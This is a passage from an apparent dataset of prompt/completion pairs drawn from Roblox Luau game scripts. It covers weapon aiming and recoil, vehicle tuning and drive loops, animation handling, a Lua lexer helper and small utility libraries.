L_24_.AimKickback\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_99_.MouseDeltaSensitivity = L_50_\n\t\t\telseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_60_ and not L_61_ then\n\t\t\t\tL_84_ = L_24_.camrecoil\n\t\t\t\tL_83_ = L_24_.gunrecoil\n\t\t\t\tL_85_ = L_24_.Kickback\n\t\t\t\t\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_41_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_50_\n\t\t\t\tL_99_.MouseDeltaSensitivity = L_51_\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_15_ and L_24_.CameraGo then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then\n\t\t\tL_4_.TargetFilter = game.Workspace\n\t\t\tlocal L_268_ = L_3_:WaitForChild(\"HumanoidRootPart\").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild(\"Humanoid\").CameraOffset)\n\t\t\tL_47_.C0 = L_8_.CFrame:toObjectSpace(L_268_)\n\t\t\tL_47_.C1 = CFrame.Angles(-math.asin((L_4_.Hit.p - L_4_.Origin.p).unit.y), 0, 0)\n\t\t\tL_99_.MouseIconEnabled = false\t\n\t\tend\n\t\t\n\t\tif L_15_ and (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\tL_4_.Icon = \"http://www.roblox.com/asset?id=\" .. L_24_.TPSMouseIcon\n\t\t\tL_99_.MouseIconEnabled = true\n\t\t\t\n\t\t\tif L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then\n\t\t\t\tL_3_['Right Arm'].LocalTransparencyModifier = 1\n\t\t\t\tL_3_['Left Arm'].LocalTransparencyModifier = 1\n\t\t\tend\n\t\tend;\n\tend\nend)\n"} +{"prompt": "------------------------------------------------------------------------\n-- count separators (\"=\") in a long string delimiter\n-- * used by luaX:read_long_string\n------------------------------------------------------------------------", "completion": "\nfunction luaX:skip_sep(ls)\n local count = 0\n local s = ls.current\n -- lua_assert(s == \"[\" or s == \"]\")\n self:save_and_next(ls)\n while ls.current == \"=\" do\n self:save_and_next(ls)\n count = count + 1\n end\n return (ls.current == s) and count or (-count) - 1\nend\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.04\t\t,\n\t\t--[[ 3 ]]\t\t1.38\t\t,\n\t\t--[[ 4 ]]\t\t1.03\t\t,\n\t\t--[[ 5 ]]\t\t0.81\t\t,\n\t\t--[[ 6 ]]\t\t0.64\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- Make sure to add any characters that are currently in the game\n-- to the collision group (otherwise the above event wouldn't catch\n-- them", "completion": "\nfor _, player in ipairs(Players:GetPlayers()) do\n\tonPlayerAdded(player)\nend\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction animateTool()\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction stepAnimate(currentTime)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = currentTime - lastTick\n \tlastTick = currentTime\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = Character:FindFirstChildOfClass(\"Tool\")\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = currentTime + .3\n\t\tend\n\n\t\tif currentTime > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= 0\n\tTune.RCamber\t\t= 0\n\tTune.FCaster\t\t= 0\n\tTune.RCaster\t\t= 0\t--Will only work with 4WS enabled (Avxnturador)\n\tTune.FToe\t\t\t= 0\t\n\tTune.RToe\t\t\t= 0\t\n\t"} +{"prompt": "-- Returns the ancestor that contains a Humanoid, if it exists", "completion": "\nlocal function FindCharacterAncestor(subject)\n\tif subject and subject ~= workspace then\n\t\tlocal humanoid = subject:FindFirstChildOfClass('Humanoid')\n\t\tif humanoid then\n\t\t\treturn subject, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(subject.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n"} +{"prompt": "--Returns the selected frame.", "completion": "\nfunction ControllerGroups:GetSelectedFrame()\n\treturn GuiService.SelectedObject\nend\n"} +{"prompt": "--------------------[ ADS FUNCTIONS ]-------------------------------------------------", "completion": "\n\nfunction aimGun()\n\tif Reloading or Knifing or isCrawling or (not S.canADS) then return end\n\t\n\tmouseSensitivity = aimSensitivity\n\t\n\tfor _, Plugin in pairs(Plugins.Aimed) do\n\t\tspawn(function()\n\t\t\tPlugin()\n\t\tend)\n\tend\n\t\n\tAimed = true\n\tAiming = true\n\tRunning = false\n\tspreadZoom = \"Aimed\"\n\tbaseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]\n\tif S.aimSettings.Anim then\n\t\tlocal currentFOV = Cam.FieldOfView\n\t\tlocal currentTrans = Scope.BackgroundTransparency\n\t\ttweenJoint(LWeld, armC0[1], S.aimedC1.leftArm, Sine, S.aimSettings.Speed)\n\t\ttweenJoint(RWeld, armC0[2], S.aimedC1.rightArm, Sine, S.aimSettings.Speed)\n\t\ttweenJoint(LWeld2, nil, CF(), Sine, S.aimSettings.Speed)\n\t\ttweenJoint(RWeld2, nil, CF(), Sine, S.aimSettings.Speed)\n\t\ttweenJoint(Grip, nil, aimedGripCF, Sine, S.aimSettings.Speed)\n\t\ttweenJoint(headWeld2, nil, CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0), Sine, S.aimSettings.Speed)\n\t\tlocal t0 = tick()\n\t\twhile true do\n\t\t\tRS.RenderStepped:wait()\n\t\t\tlocal Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90\n\t\t\tif (not Aimed) then break end\n\t\t\tif (not Selected) then break end\n\t\t\taimAlpha = Sine(Alpha)\n\t\t\taimHeadOffset = headOffset.X * aimAlpha\n\t\t\tjumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)\n\t\t\ttranslationDivisor = numLerp(7, 20, aimAlpha)\n\t\t\trotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)\n\t\t\tarmTiltMultiplier = numLerp(1, 0.2, aimAlpha)\n\t\t\tCam.FieldOfView = numLerp(currentFOV, S.aimSettings.FOV, aimAlpha)\n\t\t\tif S.guiScope then\n\t\t\t\tScope.BackgroundTransparency = numLerp(currentTrans, 0, aimAlpha)\n\t\t\tend\n\t\t\tif Alpha == 90 then break end\n\t\tend\n\telse\n\t\tLWeld.C0, LWeld.C1 = armC0[1], S.aimedC1.leftArm\n\t\tRWeld.C0, RWeld.C1 = armC0[2], S.aimedC1.rightArm\n\t\tLWeld2.C1, RWeld2.C1 = CF(), CF()\n\t\tanimWeld.C0 = CF(0, 1, 0)\n\t\tGrip.C1 = aimedGripCF\n\t\theadWeld2.C1 = CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0)\n\t\taimAlpha = 1\n\t\taimHeadOffset = headOffset.X\n\t\tjumpAnimMultiplier = S.fallSettings.aimEffect\n\t\ttranslationDivisor = 20\n\t\trotationMultiplier = S.momentumSettings.Amplitude.Aimed\n\t\tarmTiltMultiplier = 0.2\n\t\tCam.FieldOfView = S.aimSettings.FOV\n\tend\n\tAiming = (not Aimed)\n\tif (not Aiming) and S.guiScope then\n\t\tspawn(function()\n\t\t\tscopeSteady.Visible = true\n\t\t\tScope.BackgroundTransparency = 1\n\t\t\tscopeMain.Visible = true\n\t\t\t\n\t\t\tif armTable then\n\t\t\t\tfor _, Obj in pairs(armTable[1].Model:GetChildren()) do\n\t\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\t\tObj.LocalTransparencyModifier = 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tfor _, Obj in pairs(armTable[2].Model:GetChildren()) do\n\t\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\t\tObj.LocalTransparencyModifier = 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif armModel then\n\t\t\t\tfor _, Obj in pairs(armModel:GetChildren()) do\n\t\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\t\tObj.LocalTransparencyModifier = 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor _, Obj in pairs(playerFolder:GetChildren()) do\n\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\tObj.LocalTransparencyModifier = 1\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor _, Obj in pairs(Gun:GetChildren()) do\n\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\tObj.LocalTransparencyModifier = 1\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\tspawn(function()\n\t\t\tlocal camAng = 0\n\t\t\tlocal idleCam = function()\n\t\t\t\treturn V3(\n\t\t\t\t\tRAD(SIN(camAng * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling,\n\t\t\t\t\tRAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling * 0.75,\n\t\t\t\t\t0\n\t\t\t\t)\n\t\t\tend\n\t\t\tlocal walkCam = function()\n\t\t\t\treturn V3(\n\t\t\t\t\tRAD(SIN(camAng * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking,\n\t\t\t\t\tRAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking * 0.75,\n\t\t\t\t\t0\n\t\t\t\t)\n\t\t\tend\n\t\t\twhile Aimed do\n\t\t\t\tlocal dt = RS.RenderStepped:wait()\n\t\t\t\tcamOffsets.guiScope.Rot = (Sine(idleAlpha) * idleCam()) + (Sine(walkAlpha) * walkCam())\n\t\t\t\tcamAng = camAng + RAD(105 * dt) * stanceSway * camSway\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction unAimGun(Exception)\n\tif (not S.canADS) then return end\n\t\n\tmouseSensitivity = S.sensitivitySettings.Default\n\t\n\tfor _, Plugin in pairs(Plugins.UnAimed) do\n\t\tspawn(function()\n\t\t\tPlugin()\n\t\tend)\n\tend\n\t\n\tif S.guiScope then\n\t\tspawn(function()\n\t\t\tif armTable then\n\t\t\t\tfor _, Obj in pairs(armTable[1].Model:GetChildren()) do\n\t\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\t\tObj.LocalTransparencyModifier = 0\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tfor _, Obj in pairs(armTable[2].Model:GetChildren()) do\n\t\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\t\tObj.LocalTransparencyModifier = 0\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif armModel then\n\t\t\t\tfor _, Obj in pairs(armModel:GetChildren()) do\n\t\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\t\tObj.LocalTransparencyModifier = 0\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor _, Obj in pairs(playerFolder:GetChildren()) do\n\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\tObj.LocalTransparencyModifier = 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor _, Obj in pairs(Gun:GetChildren()) do\n\t\t\t\tif Obj:IsA(\"BasePart\") then\n\t\t\t\t\tObj.LocalTransparencyModifier = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\n\t\n\tif (not Exception) then\n\t\tif (not Aimed) then return end\n\t\tif (Reloading and Exception) or Knifing then return end\n\t\tspreadZoom = \"unAimed\"\n\t\tbaseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]\n\t\tAimed = false\n\t\tAiming = true\n\t\tif S.aimSettings.Anim then\n\t\t\tlocal currentFOV = Cam.FieldOfView\n\t\t\tlocal currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency)\n\t\t\tscopeMain.Visible = false\n\t\t\tscopeSteady.Visible = false\n\t\t\ttweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, S.aimSettings.Speed)\n\t\t\ttweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, S.aimSettings.Speed)\n\t\t\ttweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed)\n\t\t\ttweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, S.aimSettings.Speed)\n\t\t\tlocal t0 = tick()\n\t\t\twhile true do\n\t\t\t\tRS.RenderStepped:wait()\n\t\t\t\tlocal Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90\n\t\t\t\tif Aimed then break end\n\t\t\t\tif (not Selected) then break end\n\t\t\t\taimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(X))\n\t\t\t\taimHeadOffset = headOffset.X * aimAlpha\n\t\t\t\tjumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)\n\t\t\t\ttranslationDivisor = numLerp(7, 20, aimAlpha)\n\t\t\t\trotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)\n\t\t\t\tarmTiltMultiplier = numLerp(1, 0.2, aimAlpha)\n\t\t\t\tCam.FieldOfView = numLerp(80, currentFOV, aimAlpha)\n\t\t\t\tScope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha)\n\t\t\t\tif Alpha == 90 then break end\n\t\t\tend\n\t\telse\n\t\t\tscopeMain.Visible = false\n\t\t\tscopeSteady.Visible = false\n\t\t\tLWeld.C0, LWeld.C1 = armC0[1], S.unAimedC1.leftArm\n\t\t\tRWeld.C0, RWeld.C1 = armC0[2], S.unAimedC1.rightArm\n\t\t\theadWeld2.C0 = CF()\n\t\t\tGrip.C1 = S.unAimedC1.Grip\n\t\t\taimAlpha = 0\n\t\t\taimHeadOffset = 0\n\t\t\tjumpAnimMultiplier = 1\n\t\t\ttranslationDivisor = 7\n\t\t\trotationMultiplier = S.momentumSettings.Amplitude.unAimed\n\t\t\tarmTiltMultiplier = 1\n\t\t\tCam.FieldOfView = 80\n\t\t\tScope.BackgroundTransparency = 1\n\t\tend\n\t\tAiming = Aimed\n\telse\n\t\tspawn(function()\n\t\t\tAimed = false\n\t\t\tAiming = false\n\t\t\tspreadZoom = \"unAimed\"\n\t\t\tbaseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]\n\t\t\tlocal currentFOV = Cam.FieldOfView\n\t\t\tlocal currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency)\n\t\t\tscopeMain.Visible = false\n\t\t\tscopeSteady.Visible = false\n\t\t\ttweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed)\n\t\t\tif S.aimSettings.Anim then\n\t\t\t\tlocal t0 = tick()\n\t\t\t\twhile true do\n\t\t\t\t\tRS.RenderStepped:wait()\n\t\t\t\t\tlocal Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90\n\t\t\t\t\tif Aimed then break end\n\t\t\t\t\tif (not Selected) then break end\n\t\t\t\t\taimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(90 - Alpha))\n\t\t\t\t\taimHeadOffset = headOffset.X * aimAlpha\n\t\t\t\t\tjumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)\n\t\t\t\t\ttranslationDivisor = numLerp(7, 20, aimAlpha)\n\t\t\t\t\trotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)\n\t\t\t\t\tarmTiltMultiplier = numLerp(1, 0.2, aimAlpha)\n\t\t\t\t\tCam.FieldOfView = numLerp(80, currentFOV, aimAlpha)\n\t\t\t\t\tScope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha)\n\t\t\t\t\tif Alpha == 90 then break end\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tscopeMain.Visible = false\n\t\t\t\tscopeSteady.Visible = false\n\t\t\t\taimAlpha = 0\n\t\t\t\taimHeadOffset = 0\n\t\t\t\tjumpAnimMultiplier = 1\n\t\t\t\ttranslationDivisor = 7\n\t\t\t\trotationMultiplier = S.momentumSettings.Amplitude.unAimed\n\t\t\t\tarmTiltMultiplier = 1\n\t\t\t\tCam.FieldOfView = 80\n\t\t\t\tScope.BackgroundTransparency = 1\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "--[=[\n\t@within TableUtil\n\t@function Zip\n\t@param ... table\n\t@return (iter: (t: table, k: any) -> (key: any?, values: table?), tbl: table, startIndex: any?)\n\n\tReturns an iterator that can scan through multiple tables at the same time side-by-side, matching\n\tagainst shared keys/indices.\n\n\t```lua\n\tlocal t1 = {10, 20, 30, 40, 50}\n\tlocal t2 = {60, 70, 80, 90, 100}\n\n\tfor key,values in TableUtil.Zip(t1, t2) do\n\t\tprint(key, values)\n\tend\n\n\t--[[\n\t\tOutputs:\n\t\t1 {10, 60}\n\t\t2 {20, 70}\n\t\t3 {30, 80}\n\t\t4 {40, 90}\n\t\t5 {50, 100}\n\t--]]\n\t```\n]=]", "completion": "\nlocal function Zip(...: { [any]: any }): ((t: { any }, k: any) -> (any, any), { any }, any)\n\tassert(select(\"#\", ...) > 0, \"Must supply at least 1 table\")\n\tlocal function ZipIteratorArray(all: { any }, k: number): (number?, { any }?)\n\t\tk += 1\n\t\tlocal values = {}\n\t\tfor i, t in all do\n\t\t\tlocal v = t[k]\n\t\t\tif v ~= nil then\n\t\t\t\tvalues[i] = v\n\t\t\telse\n\t\t\t\treturn nil, nil\n\t\t\tend\n\t\tend\n\t\treturn k, values\n\tend\n\tlocal function ZipIteratorMap(all: { [any]: any }, k: any): (number?, { any }?)\n\t\tlocal values = {}\n\t\tfor i, t in all do\n\t\t\tlocal v = next(t, k)\n\t\t\tif v ~= nil then\n\t\t\t\tvalues[i] = v\n\t\t\telse\n\t\t\t\treturn nil, nil\n\t\t\tend\n\t\tend\n\t\treturn k, values\n\tend\n\tlocal all = { ... }\n\tif #all[1] > 0 then\n\t\treturn ZipIteratorArray, all, 0\n\telse\n\t\treturn ZipIteratorMap, all, nil\n\tend\nend\n"} +{"prompt": "-----------------\n--| Functions |--\n-----------------", "completion": "\n\nlocal function OnActivated()\n\tlocal myModel = MyPlayer.Character\n\tif Tool.Enabled and myModel and myModel:FindFirstChildOfClass(\"Humanoid\") and myModel.Humanoid.Health > 0 then\n\t\tTool.Enabled = false\n\t\tlocal Pos = MouseLoc:InvokeClient(MyPlayer)\n\t\t-- Create a clone of Rocket and set its color\n\t\tlocal rocketClone = Rocket:Clone()\n\t\tDebrisService:AddItem(rocketClone, 30)\n\t\trocketClone.BrickColor = MyPlayer.TeamColor\n\n\t\t-- Position the rocket clone and launch!\n\t\tlocal spawnPosition = (ToolHandle.CFrame * CFrame.new(5, 0, 0)).p\n\t\trocketClone.CFrame = CFrame.new(spawnPosition, Pos) --NOTE: This must be done before assigning Parent\n\t\trocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent\n\t\trocketClone.Parent = workspace\n\t\trocketClone:SetNetworkOwner(nil)\n\n\t\twait(RELOAD_TIME)\n\n\t\tTool.Enabled = true\n\tend\nend\n\nfunction OnEquipped()\n\tMyPlayer = PlayersService:GetPlayerFromCharacter(Tool.Parent)\nend\n"} +{"prompt": "--[=[\n\tDisconnects all connections from a ScriptSignal object without making it unusable.\n\n\t```lua\n\tlocal connection = ScriptSignal:Connect(function() end)\n\n\tconnection.Connected -> true\n\tScriptSignal:DisconnectAll()\n\tconnection.Connected -> false\n\t```\n\n\t@ignore\n]=]", "completion": "\nfunction ScriptSignal:DisconnectAll()\n local node: ScriptConnectionNode? = self._head\n while node ~= nil do\n local _connection = node._connection\n\n if _connection ~= nil then\n _connection.Connected = false\n _connection._node = nil\n node._connection = nil\n end\n\n node = node._next\n end\n\n self._head = nil\nend\n"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new()\n\tlocal obj = setmetatable({}, methods)\n\n\tobj.ObjectPool = moduleObjectPool.new(OBJECT_POOL_SIZE)\n\tobj.MessageCreators = GetMessageCreators()\n\tobj.DefaultCreatorType = messageCreatorUtil.DEFAULT_MESSAGE_CREATOR\n\n\tmessageCreatorUtil:RegisterObjectPool(obj.ObjectPool)\n\n\treturn obj\nend\n\nfunction module:GetStringTextBounds(text, font, textSize, sizeBounds)\n\treturn messageCreatorUtil:GetStringTextBounds(text, font, textSize, sizeBounds)\nend\n\nreturn module\n"} +{"prompt": "--[[\nTheNexusAvenger\n\nCreates buffer and non-buffer rockets.\n--]]", "completion": "\n\nlocal RocketCreator = {}\n\nlocal Resources = require(script.Parent)\n\nlocal RocketScript = script:WaitForChild(\"RocketScript\")\nlocal PlayerDamagerScript = Resources:GetResource(\"PlayerDamager\")\nlocal ConfigurationScript = Resources:GetResource(\"Configuration\")\n\n\n"} +{"prompt": "-- DRIVE LOOP\n----------------------------------------", "completion": "\nwhile true do\n\n\t-- Input values taken from the VehicleSeat\n\tlocal steerFloat = vehicleSeat.SteerFloat -- Forward and backward direction, between -1 and 1\n\tlocal throttle = vehicleSeat.ThrottleFloat -- Left and right direction, between -1 and 1\n\n\t-- Convert \"steerFloat\" to an angle for the HingeConstraint servos\n\tlocal turnAngle = steerFloat * MAX_TURN_ANGLE\n\twheelHingeR.TargetAngle = turnAngle\n\twheelHingeL.TargetAngle = turnAngle\n\n\t-- Apply torque to the CylindricalConstraint motors depending on our throttle input and the current speed of the car\n\tlocal currentVel = getAverageVelocity()\n\tlocal targetVel = 0\n\tlocal motorTorque = 0\n\n\t-- Idling\n\tif math.abs(throttle) < 0.1 then\n\t\tmotorTorque = 100\n\n\t-- Accelerating\n\telseif math.abs(throttle * currentVel) > 0 then\n\t\t-- Reduce torque with speed (if torque was constant, there would be a jerk reaching the target velocity)\n\t\t-- This also produces a reduction in speed when turning\n\t\tlocal r = math.abs(currentVel) / MAX_SPEED\n\t\t-- Torque should be more sensitive to input at low throttle than high, so square the \"throttle\" value\n\t\tmotorTorque = math.exp( - 3 * r * r ) * TORQUE * throttle * throttle\n\t\ttargetVel = math.sign(throttle) * 10000 -- Arbitrary large number\n\n\t-- Braking\n\telse\n\t\tmotorTorque = BRAKING_TORQUE * throttle * throttle\n\tend\n\n\t-- Use helper functions to apply torque and target velocity to all motors\n\tsetMotorTorque(motorTorque)\n\tsetMotorVelocity(targetVel)\n\twait()\nend\n"} +{"prompt": "-- ROBLOX TODO: spyOn is not implemented\n-- local spyOn = JestMock.spyOn\n-- exports.spyOn = spyOn", "completion": "\nlocal mocked = JestMock.mocked\nexports.mocked = mocked\n\nreturn exports\n"} +{"prompt": "-- 3D TextGen", "completion": "\n\nThis = script.Parent\nBtn = This.Parent\nLift = Btn.Parent.Parent.Parent\nConfig = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomLabel = Config[\"CUSTOMFLOORLABEL\"][tonumber(Btn.Name)]\n\nfunction ChangeFloor(SF)\n\tif string.len(SF) == 1 then\n\t\tSetLabel(1,SF,-0.04)\t\n\t\tSetLabel(2,\"NIL\",0)\n\telse\n\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\tSetLabel(2,SF:sub(2,2),0)\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"L\"..ID) and Characters[CHAR] ~= nil then\n\t\tThis[\"L\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0)\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"L\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.006, 0.008, 0.019)\n\tend\nend\n\n\nif CustomLabel then\n\tChangeFloor(CustomLabel)\nelse\n\tChangeFloor(Btn.Name)\nend\n\nscript:Destroy()\n"} +{"prompt": "-- / WindLines / --", "completion": "\nWindLines:Init(WindLinesSettings)\n\n\n"} +{"prompt": "--[[**\n\tensures Roblox NumberSequence type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.NumberSequence = primitive(\"NumberSequence\")\n"} +{"prompt": "---- ARITHMETIC ----", "completion": "\n\nfunction ActiveCastStatic:AddVelocity(velocity: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"AddVelocity\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself:SetVelocity(self:GetVelocity() + velocity)\nend\n\nfunction ActiveCastStatic:AddAcceleration(acceleration: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"AddAcceleration\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, 